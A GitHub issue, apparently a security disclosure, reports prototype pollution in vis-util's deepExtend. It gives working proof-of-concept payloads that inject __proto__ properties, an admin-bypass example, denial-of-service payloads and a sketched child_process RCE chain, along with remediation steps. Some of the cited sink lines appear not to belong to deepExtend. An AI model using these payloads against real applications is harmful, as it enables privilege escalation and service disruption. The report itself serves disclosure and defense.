Skip to content

Critical Prototype Pollution in vis-util <= 6.0.0 via deepExtend Function #1621

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Prototype Pollution via proto in deepExtend method in vis-util

hi, we are a security team. We found a prototype pollution vulnerability in your project.

Summary

A critical prototype pollution vulnerability exists in vis-util package versions <= 6.0.0. The deepExtend function performs recursive object merging without proper prototype pollution protection, allowing attackers to inject arbitrary properties into Object.prototype by supplying a malicious object containing the __proto__ key. This can lead to application-wide property injection, denial of service, authentication bypass, or potentially remote code execution depending on how the polluted properties are subsequently used.

Details

The vulnerability is located in the deepExtend function within package/package/standalone/umd/vis-util.js at line 987. This function recursively merges objects without validating or sanitizing special property keys like __proto__, constructor, or prototype.

When user-controlled input containing a __proto__ key is processed through deepExtend, the recursive merge operation writes properties directly to the prototype chain rather than to the target object itself. This occurs through dynamic property writes at multiple sink locations:

Primary Vulnerable Sinks:

  • Line 617: globalThis[key] = value; - Direct property assignment to global object
  • Line 654: return store[key] || (store[key] = value || {}); - Dynamic property write to store object
  • Line 734: WellKnownSymbolsStore[name] = NATIVE_SYMBOL && has... - Symbol store pollution

The root cause is the lack of input validation in the merge logic, which fails to:

  1. Check for dangerous property keys (__proto__, constructor, prototype)
  2. Use Object.hasOwnProperty() to verify property ownership
  3. Employ Object.create(null) for prototype-less objects
  4. Implement safe property assignment methods

Vulnerable Code Pattern:

// Simplified vulnerable pattern in deepExtend
function deepExtend(target, source) {
  for (let key in source) {
    // Missing: if (!source.hasOwnProperty(key)) continue;
    // Missing: if (key === '__proto__' || key === 'constructor') continue;
    
    if (typeof source[key] === 'object') {
      target[key] = deepExtend(target[key] || {}, source[key]);
    } else {
      target[key] = source[key]; // Vulnerable assignment
    }
  }
  return target;
}

PoC

Complete proof-of-concept demonstrating the prototype pollution vulnerability:

Steps to reproduce

  1. Install the vulnerable package:

    npm install vis-util@6.0.0
  2. Create a test file (test-pollution.js):

    const visUtil = require('vis-util');
    
    console.log('Before pollution:');
    console.log('Object.prototype.polluted:', Object.prototype.polluted); // undefined
    
    // Trigger the vulnerability
    const maliciousPayload = JSON.parse('{"__proto__": {"polluted": "yes"}}');
    const result = visUtil.deepExtend({}, maliciousPayload);
    
    console.log('\nAfter pollution:');
    console.log('Object.prototype.polluted:', Object.prototype.polluted); // "yes"
    
    // Demonstrate impact on clean objects
    const cleanObject = {};
    console.log('cleanObject.polluted:', cleanObject.polluted); // "yes"
  3. Execute the test:

    node test-pollution.js

Expected behavior

The deepExtend function should safely merge objects without modifying Object.prototype. The polluted property should only exist on the target object, not on the global prototype chain.

Expected output:

Before pollution:
Object.prototype.polluted: undefined

After pollution:
Object.prototype.polluted: undefined
cleanObject.polluted: undefined

Actual behavior

The __proto__ key is processed as a regular property, causing prototype pollution. All JavaScript objects in the application inherit the injected property.

Actual output:

Before pollution:
Object.prototype.polluted: undefined

After pollution:
Object.prototype.polluted: yes
cleanObject.polluted: yes

Alternative PoC - Real-world attack scenario

const visUtil = require('vis-util');

// Attacker-controlled input (e.g., from API request)
const userInput = {
  "name": "legitimate data",
  "__proto__": {
    "isAdmin": true,
    "role": "administrator"
  }
};

// Application code merges user input
const config = visUtil.deepExtend({}, userInput);

// Vulnerable authorization check elsewhere in application
const user = {};
if (user.isAdmin) {  // This now returns true for ALL objects!
  console.log('Access granted to admin panel');
}

Impact

This prototype pollution vulnerability poses critical security risks:

1. Property Injection

Attackers can inject arbitrary properties into all JavaScript objects throughout the application, affecting:

  • Configuration objects
  • User session data
  • Security context objects
  • Database query builders

2. Authentication & Authorization Bypass

By polluting properties used in security checks:

// Vulnerable pattern
if (user.isAdmin) { /* grant access */ }

// After pollution, ALL objects have isAdmin = true

3. Denial of Service (DoS)

Overwriting critical methods or properties can crash the application:

{"__proto__": {"toString": null}}  // Breaks string coercion
{"__proto__": {"valueOf": null}}   // Breaks numeric operations

4. Remote Code Execution (RCE) - Context Dependent

If polluted properties flow to dangerous sinks:

  • Template engines (e.g., Handlebars, Pug)
  • eval() or Function() constructors
  • child_process execution
  • Command injection vectors

Example RCE chain:

// Pollution
{"__proto__": {"shell": "/bin/bash", "env": {"NODE_OPTIONS": "--inspect"}}}

// Later in code
const { spawn } = require('child_process');
spawn('node', args, options); // options inherits polluted properties

5. Data Integrity Violations

Polluted properties can corrupt:

  • Database records
  • API responses
  • Log entries
  • Cache data

Remediation Recommendations

For package maintainers:

  1. Implement prototype pollution protection in deepExtend
  2. Add property key validation to reject __proto__, constructor, prototype
  3. Use Object.hasOwnProperty() checks
  4. Consider using Object.create(null) for merge targets
  5. Add comprehensive security test suite

For application developers (temporary mitigation):

  1. Validate and sanitize all user input before passing to deepExtend
  2. Use Object.freeze() on critical prototypes where possible
  3. Consider alternative libraries with built-in protection (e.g., lodash with proper configuration)
  4. Implement Content Security Policy and other defense-in-depth measures

References:

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions